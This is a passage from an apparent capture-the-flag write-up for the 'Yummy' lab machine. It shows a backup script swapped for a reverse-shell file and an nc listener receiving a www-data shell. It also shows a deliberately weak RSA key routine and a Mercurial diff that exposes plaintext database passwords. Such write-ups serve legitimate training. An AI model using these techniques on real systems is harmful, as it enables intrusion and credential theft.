.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">mysql@yummy</span>:<span class="linux-path">/data/scripts</span><span class="linux-char">$</span></span> <span class="linux-bash">mv app_backup.sh app_backup_2.sh</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">mysql@yummy</span>:<span class="linux-path">/data/scripts</span><span class="linux-char">$</span></span> <span class="linux-bash">mv rev.sh app_backup.sh</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And a <code class="language-plaintext highlighter-rouge">www-data</code> shell is soon sent back.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 55688
bash: cannot set terminal process group (11652): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">/root</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=33(www-data) gid=33(www-data) groups=33(www-data)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Interestingly, I landed in <code class="language-plaintext highlighter-rouge">/root</code>, but cannot list its directory contents nor read any files.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">/root</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">ls: cannot open directory '.': Permission denied</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-www-data">Escalation from <code class="language-plaintext highlighter-rouge">www-data</code>:</h2>
<h3 id="mercurial-version-control">Mercurial Version Control:</h3>

<p>There’s another web folder in <code class="language-plaintext highlighter-rouge">/var/www/</code> called <code class="language-plaintext highlighter-rouge">app-qatesting</code>. I’ll check the files again to see if there are any new config files or creds, but didn’t find any. The RSA and SQL vulnerabilities also seems to be patched in this version.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">from</span> <span class="n">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
<span class="kn">from</span> <span class="n">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
<span class="kn">import</span> <span class="n">sympy</span>


<span class="c1"># Generate RSA key pair
</span><span class="n">q</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="nf">randprime</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">1023</span><span class="p">,</span> <span class="mi">2</span><span class="o">**</span><span class="mi">1024</span><span class="p">)</span> <span class="c1"># this q number is too small
</span><span class="n">n</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="nf">randprime</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">1023</span><span class="p">,</span> <span class="mi">2</span><span class="o">**</span><span class="mi">1024</span><span class="p">)</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="n">q</span>
<span class="n">phi_n</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nf">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi_n</span><span class="p">)</span>
<span class="n">key_data</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">:</span> <span class="n">n</span><span class="p">,</span> <span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">:</span> <span class="n">e</span><span class="p">,</span> <span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">:</span> <span class="n">d</span><span class="p">,</span> <span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">:</span> <span class="n">p</span><span class="p">,</span> <span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">:</span> <span class="n">q</span><span class="p">}</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="nf">construct</span><span class="p">((</span><span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">n</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">e</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">d</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">p</span><span class="sh">'</span><span class="p">],</span> <span class="n">key_data</span><span class="p">[</span><span class="sh">'</span><span class="s">q</span><span class="sh">'</span><span class="p">]))</span>
<span class="n">private_key_bytes</span> <span class="o">=</span> <span class="n">key</span><span class="p">.</span><span class="nf">export_key</span><span class="p">()</span>

<span class="n">private_key</span> <span class="o">=</span> <span class="n">serialization</span><span class="p">.</span><span class="nf">load_pem_private_key</span><span class="p">(</span>
    <span class="n">private_key_bytes</span><span class="p">,</span>
    <span class="n">password</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span>
    <span class="n">backend</span><span class="o">=</span><span class="nf">default_backend</span><span class="p">()</span>
<span class="p">)</span>
<span class="n">public_key</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">public_key</span><span class="p">()</span>
</code></pre></div></div>

<p>Also, there’s a strange hidden folder <code class="language-plaintext highlighter-rouge">.hg/</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">~/app-qatesting</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 40
drwxrwx--- 7 www-data qa        4096 May 28  2024 .
drwxr-xr-x 3 www-data www-data  4096 Feb 21 16:34 ..
-rw-rw-r-- 1 qa       qa       10852 May 28  2024 app.py
drwxr-xr-x 3 qa       qa        4096 May 28  2024 config
drwxrwxr-x 6 qa       qa        4096 May 28  2024 .hg
drwxr-xr-x 3 qa       qa        4096 May 28  2024 middleware
drwxr-xr-x 6 qa       qa        4096 May 28  2024 static
drwxr-xr-x 2 qa       qa        4096 May 28  2024 templates</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Looks like it contains some backups of old versions.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">~/app-qatesting</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la .hg</span>

<span class="linux-output">total 64
drwxrwxr-x 6 qa       qa 4096 May 28  2024 .
drwxrwx--- 7 www-data qa 4096 May 28  2024 ..
-rw-rw-r-- 1 qa       qa   57 May 28  2024 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28  2024 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28  2024 branch
drwxrwxr-x 2 qa       qa 4096 May 28  2024 cache
-rw-rw-r-- 1 qa       qa 7102 May 28  2024 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28  2024 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28  2024 requires
drwxrwxr-x 4 qa       qa 4096 May 28  2024 store
drwxrwxr-x 2 qa       qa 4096 May 28  2024 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28  2024 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28  2024 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28  2024 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28  2024 wcache</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>After Googling, I learned that <code class="language-plaintext highlighter-rouge">.hg/</code> is used by <a href="https://www.mercurial-scm.org/wiki/Repository">Mercurial</a>, a version control tool similar to Git. Looking at Mercurial’s <a href="https://gist.github.com/cortesben/016cd401faae5a8dae59">command cheatsheet</a>, it seems like they have identical functionalities too.</p>

<p>Similar to <code class="language-plaintext highlighter-rouge">git log -v</code>, I can show old commits with <code class="language-plaintext highlighter-rouge">hg log -l 10</code>. All except “removed comments” are related to the web app patching.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">~/app-qatesting</span><span class="linux-char">$</span></span> <span class="linux-bash">hg log -l 10</span>

<span class="linux-output">WARNING: terminal is not fully functional
Press RETURN to continue 

changeset:   9:f3787cac6111
tag:         tip
user:        qa
date:        Tue May 28 10:37:16 2024 -0400
summary:     attempt at patching path traversal

changeset:   8:0bbf8464d2d2
user:        qa
date:        Tue May 28 10:34:38 2024 -0400
summary:     removed comments

changeset:   7:2ec0ee295b83
user:        qa
date:        Tue May 28 10:32:50 2024 -0400
summary:     patched SQL injection vuln

changeset:   6:f87bdc6c94a8
user:        qa
date:        Tue May 28 10:27:32 2024 -0400
summary:     patched signature vuln

changeset:   5:6c59496d5251
user:        dev</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I can also show the exact changes of the “removed comments” commit with <code class="language-plaintext highlighter-rouge">hg diff --change &lt;id&gt;</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@yummy</span>:<span class="linux-path">~/app-qatesting</span><span class="linux-char">$</span></span> <span class="linux-bash">hg diff --change 8:0bbf8464d2d2</span>

<span class="linux-output">WARNING: terminal is not fully functional
Press RETURN to continue 

diff -r 2ec0ee295b83 -r 0bbf8464d2d2 app.py
--- a/app.py    Tue May 28 10:32:50 2024 -0400
+++ b/app.py    Tue May 28 10:34:38 2024 -0400
@@ -19,8 +19,8 @@
 
 db_config = {
     'host': '127.0.0.1',
<span style="color: red;">-    'user': 'chef',</span>
<span style="color: red;">-    'password': '3wDo7gSRZIwIHRxZ!',</span>
<span style="color: lightgreen;">+    'user': 'qa',</span>
<span style="color: lightgreen;">+    'password': 'jPAd!XQCtn8Oc@2B',</span>
     'database': 'yummy_db',
     'cursorclass': pymysql.cursors.DictCursor,
